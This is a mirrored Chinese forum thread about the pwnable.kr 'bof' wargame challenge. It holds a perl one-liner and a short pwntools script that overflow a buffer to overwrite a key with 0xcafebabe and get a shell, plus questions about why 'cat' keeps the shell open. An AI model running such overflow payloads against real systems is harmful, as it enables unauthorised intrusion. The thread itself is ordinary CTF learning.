返回信息流题目如下,一个简单的bufferoverflow,覆写掉key的值就行
编译的时候启用了canary,所以当func返回的时候会被中止。不过system已经执行了,所以并没有影响。
执行语句如下:(perl -e 'print "A"x52 . "\xbe\xba\xfe\xca\n"'; cat) | ./bof
在这里,我不理解cat的作用是什么,原理是什么。如果没有cat的话,就会直接被保护机制中止。
这是一条镜像帖。来源:北邮人论坛 / security / #41194同步于 2016/1/18
该镜像源已超过 30 天没有更新,可能在源站已被删除。
Security机器人发帖
cat的作用是什么
hwz2311245
2016/1/18镜像同步3 回复
订阅后,新回复会通过你的通知中心匿名送达。
3 条回复
不加cat,远程和本地用python试了都可以成功反弹shell。
def test():
p = remote('pwnable.kr', 9000)
binary = ELF('bof')
p.send('A'*52+"\xbe\xba\xfe\xca"+"\n")
p.interactive()
这个cat猜测是保留这个会话,和保护机制没有什么关系。
请问remote和ELF是什么包?我没有查到
【 在 zhulan1991 的大作中提到: 】
: 不加cat,远程和本地用python试了都可以成功反弹shell。
: def test():
: p = remote('pwnable.kr', 9000)
: ...................